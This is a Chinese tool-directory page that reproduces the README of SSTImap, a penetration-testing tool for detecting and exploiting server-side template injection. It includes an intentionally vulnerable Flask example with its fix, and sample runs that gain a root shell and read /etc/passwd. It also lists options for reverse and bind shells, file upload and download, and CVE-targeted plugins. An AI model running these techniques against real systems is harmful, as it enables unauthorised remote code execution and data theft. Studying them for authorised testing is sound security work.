Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SSTImap — 具有交互界面的自动SSTI检测工具 | Kitploit
工具/GitHubGitHub/vladko312/sstimap
漏洞扫描器Payload生成代码分析动态代码分析 (DAST)漏洞利用Web应用程序漏洞利用模糊测试渗透测试命令与控制
GitHubvladko312/sstimap

SSTImap

具有交互界面的自动SSTI检测工具

1.6k1771802个月前Kitploit 审核通过
查看仓库
分享
SSTImap
======

[![Version 1.4](https://img.shields.io/badge/version-1.4-green.svg?logo=github)](https://github.com/vladko312/sstimap)
[![Python 3.14](https://img.shields.io/badge/python-3.14-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3140/)
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
[![Maintenance](https://img.shields.io/maintenance/yes/2026?logo=github)](https://github.com/vladko312/sstimap)

> 本项目基于 [Tplmap](https://github.com/epinna/tplmap/)。

SSTImap 是一款渗透测试软件,可以检测网站是否存在代码注入和服务端模板注入漏洞,并对其进行利用,从而获得操作系统本身的访问权限。

该工具被开发为用于 SSTI 检测和利用的交互式渗透测试工具,支持更高级的利用方式。更多 SSTImap 的 payload 可以在[此处](https://github.com/vladko312/extras)找到。

Payload 和技术来源:
- James Kettle 的 [服务端模板注入:现代 Web 应用的 RCE][5]
- 其他公开研究 [\[1\]][1] [\[2\]][2] [\[8\]][8]
- 对 Tplmap 的贡献 [\[3\]][3] [\[4\]][4]
- 我自己的研究 [\[9\]][9]

该工具能够利用某些代码上下文逃逸和盲注场景。它还支持 Java、JavaScript、PHP、Python、Ruby 以及通用非沙箱模板引擎中的 _eval()_ 类代码注入。

与 Tplmap 的主要区别
-----------------------

尽管该软件基于 Tplmap 的代码,但不提供向后兼容性。
- 新增两种用于 SSTI 检测和利用的技术
- 交互模式(`-i`),便于利用和检测
- 使用简单求值 payload 作为响应标记,以判断 payload 是否被反射
- 为通用模板添加了新 payload,使用 `--generic` 测试所有上下文
- 使用 `Eval_generic` 模块进行通用求值模板注入检测
- 基础语言 _eval()_ 类 shell(`-x`)或单条命令(`-X`)执行
- 盲文件上传现在支持 MD5 确认和文件存在性检查
- 为更多模板添加了新 payload,并更新了许多现有 payload
- 模块化插件结构,支持安装额外插件
- 支持不同的 POST 数据类型
- 添加了爬取和表单检测功能
- 许多参数添加了短版本
- 部分旧命令行参数已更改,请查看 `-h` 获取帮助
- 代码已更新以使用更新的 Python 特性
- Burp Suite 扩展暂时移除,因为 _Jython_ 不支持 Python3

服务端模板注入
------------------------------

以下是一个使用 Python [Flask][6] 框架和 [Jinja2][7] 模板引擎编写的简单网站示例。它以不安全的方式集成了用户提供的变量 `name`,因为该变量在渲染前被拼接到了模板字符串中。

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI 漏洞:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

这种模板使用方式不仅会产生 XSS 漏洞,还允许攻击者注入将在服务器上执行的模板代码,从而导致 SSTI。

```
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
```

用户提供的输入应通过渲染上下文以安全的方式引入:

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

预定模式
------------------

SSTImap 的预定模式与 Tplmap 非常相似。它能够检测和利用多种不同模板中的 SSTI 漏洞。

利用成功后,SSTImap 可以提供代码求值、操作系统命令执行和文件系统操作等访问能力。

要检查 URL,可以使用 `-u` 参数:

```
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files
```

使用 `--os-shell` 选项在目标上启动一个伪终端。

```
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

要获取完整的选项列表,请使用 `--help` 参数。

交互模式
----------------

在交互模式中,使用命令与 SSTImap 进行交互。要进入交互模式,可以使用 `-i` 参数。除利用 payload 相关参数外,所有其他参数都将作为设置的初始值。

某些命令用于在测试运行之间更改设置。要运行测试,必须通过初始的 `-u` 参数或 `url` 命令提供目标 URL。之后,可以使用 `run` 命令检查 URL 是否存在 SSTI。

如果发现 SSTI,可以使用命令开始利用。你可以获得与预定模式相同的利用能力,但可以使用 `Ctrl+C` 中止它们而无需停止程序。

顺便说一下,测试结果在目标 URL 更改之前一直有效,因此你可以轻松地在不同的利用方法之间切换,而无需每次都重新运行检测测试。

要获取完整的交互命令列表,请在交互模式中使用 `help` 命令。

支持的模板引擎
--------------------------

SSTImap 支持多种模板引擎和 _eval()_ 类注入。

欢迎在 PR 中提交新的 payload。查看[提示](https://github.com/vladko312/extras#developing-plugins)以加快开发速度。

| 引擎                                                                               | RCE | 技术 | 语言       | 类型                                                   |
|------------------------------------------------------------------------------------|-----|------|------------|--------------------------------------------------------|
| Freemarker                                                                         | ✓   | REBT | Java       | 默认                                                |
| Java 通用 EL 注入                                                         | ✓   | REBT | Java       | 默认                                                |
| OGNL(对象图导航语言代码求值)                                  | ✓   | REBT | Java       | 默认                                                |
| Velocity                                                                           | ✓   | REBT | Java       | 默认                                                |
| Nunjucks                                                                           | ✓   | REBT | JavaScript | 默认                                                |
| Velocity.js                                                                        | ✓   | REBT | JavaScript | 默认                                                |
| JavaScript(代码求值)                                                             | ✓   | REBT | JavaScript | 默认                                                |
| 基于 JavaScript 的通用模板                                                 | ✓   | REBT | JavaScript | 默认                                                |
| Twig (>=1.41; >=2.10; >=3.0)                                                       | ✓   | REBT | PHP        | 默认                                                |
| PHP(代码求值)                                                                    | ✓   | REBT | PHP        | 默认                                                |
| 基于 PHP 的通用模板                                                        | ✓   | REBT | PHP        | 默认                                                |
| Jinja2                                                                             | ✓   | REBT | Python     | 默认                                                |
| Python(代码求值)                                                                 | ✓   | REBT | Python     | 默认                                                |
| 基于 Python 的通用模板                                                     | ✓   | REBT | Python     | 默认                                                |
| ERB                                                                                | ✓   | REBT | Ruby       | 默认                                                |
| Mustache (<=1.1.2;仅检测)                                                 | ×   | reb_ | Ruby       | 默认                                                |
| Slim                                                                               | ✓   | REBT | Ruby       | 默认                                                |
| Ruby(代码求值)                                                                   | ✓   | REBT | Ruby       | 默认                                                |
| 通用求值模板                                                       | ×   | Reb_ | *          | 默认                                                |
| SpEL(Spring EL 代码求值)                                                         | ✓   | REBT | Java       | 通用                                                |
| doT                                                                                | ✓   | REBT | JavaScript | 通用                                                |
| EJS                                                                                | ✓   | REBT | JavaScript | 通用                                                |
| Marko                                                                              | ✓   | REBT | JavaScript | 通用                                                |
| Pug                                                                                | ✓   | REBT | JavaScript | 通用                                                |
| Smarty                                                                             | ✓   | REBT | PHP        | 通用                                                |
| Cheetah                                                                            | ✓   | REBT | Python     | 通用                                                |
| Mako                                                                               | ✓   | REBT | Python     | 通用                                                |
| Tornado                                                                            | ✓   | REBT | Python     | 通用                                                |
| Dust (<= [email protected])                                                     | ✓   | REBT | JavaScript | 旧版                                                 |
| Twig (<=1.19.0)                                                                    | ✓   | REBT | PHP        | 旧版                                                 |
| Pybars3 / Pybars4                                                                  | ✓   | REBT | Python     | 旧版                                                 |
| Templite                                                                           | ✓   | REBT | Python     | 旧版                                                 |
| SSI(服务端包含注入)                                               | ✓   | R__T | SSI        | 旧版                                                 |
| 模糊求值语法                                                        | ×   | Reb_ | *          | 旧版                                                 |
| [CVE-2025-1302](https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456) | ✓   | REBT | JavaScript | [额外](https://github.com/vladko312/extras/tree/main) |
| [CVE-2025-13204](https://huntr.com/bounties/1-npm-expr-eval)                       | ✓   | REBT | JavaScript | [额外](https://github.com/vladko312/extras/tree/main) |
| [CVE-2022-23614](https://nvd.nist.gov/vuln/detail/CVE-2022-23614)                  | ✓   | REBT | PHP        | [额外](https://github.com/vladko312/extras/tree/main) |
| [CVE-2024-6386](https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/)             | ✓   | REBT | PHP        | [额外](https://github.com/vladko312/extras/tree/main) |
| [CVE-2026-46640](https://nvd.nist.gov/vuln/detail/CVE-2026-46640)                  | ✓   | REBT | PHP        | [额外](https://github.com/vladko312/extras/tree/main) |

技术:(R)渲染、(E)基于错误、(B)基于布尔错误的盲注和(T)基于时间的盲注;小写字母表示部分支持的技术

更多插件和 payload 可以在 [SSTImap 额外插件](https://github.com/vladko312/extras) 仓库中找到。

Burp Suite 插件
-----------------

目前,Burp Suite 仅支持使用 Jython 作为执行 python2 的方式。不提供 Python3 功能。

未来计划
------------

如果你计划从该列表中贡献较大的功能,请告知我,以避免与我或其他贡献者做重复的工作。

- [ ] 为不同引擎添加更多 payload
- [ ] 使插件减少对基础插件的依赖
- [ ] 从文件解析原始 HTTP 请求
- [ ] 变量转储功能
- [ ] 盲注/侧信道值提取
- [ ] 更好的文档(或者至少有一些文档)
- [ ] 将短参数作为交互命令?
- [ ] 用于脚本集成的 JSONL/纯文本 API 模式?
- [ ] 更好的 Python 脚本集成
- [ ] 支持 multipart POST 数据类型
- [ ] 用于更可定制请求的模块(二阶、重置、非 HTTP)
- [ ] Payload 处理脚本
- [ ] 更好的配置功能
- [ ] 保存发现的漏洞
- [ ] 生成 HTML 或其他格式的报告
- [ ] 多行语言求值?
- [ ] 避免 payload 中的平台依赖
- [ ] 在基于 exec 的 RCE 场景中测试多个 shell
- [ ] 更新 NodeJS payload,因为 process.mainModule 可能未定义
- [x] Spider/爬虫自动化(由 [fantesykikachu](https://github.com/fantesykikachu) 提供)
- [x] 自动导入语言和引擎
- [x] 支持更多 POST 数据类型
- [x] 使模板和基础语言求值功能更加统一
- [x] 添加移除转义码的参数?

[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
[3]: https://github.com/epinna/tplmap/issues/9
[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
[6]: http://flask.pocoo.org/
[7]: http://jinja.pocoo.org/
[8]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
[9]: https://github.com/vladko312/Research_Successful_Errors
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    491
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    462
  • 3

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    345
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    340
  • 5

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    306
  • 6

    estorides

    grisuno/estorides

    并行聚合 99+ 个免费 OSINT 来源,将实体解析为知识图谱,并借助 LLM 辅助分析导出 STIX 2.1、MISP 或 GraphML。

    292

探索所有工具

浏览我们的工具集合

查看所有工具 →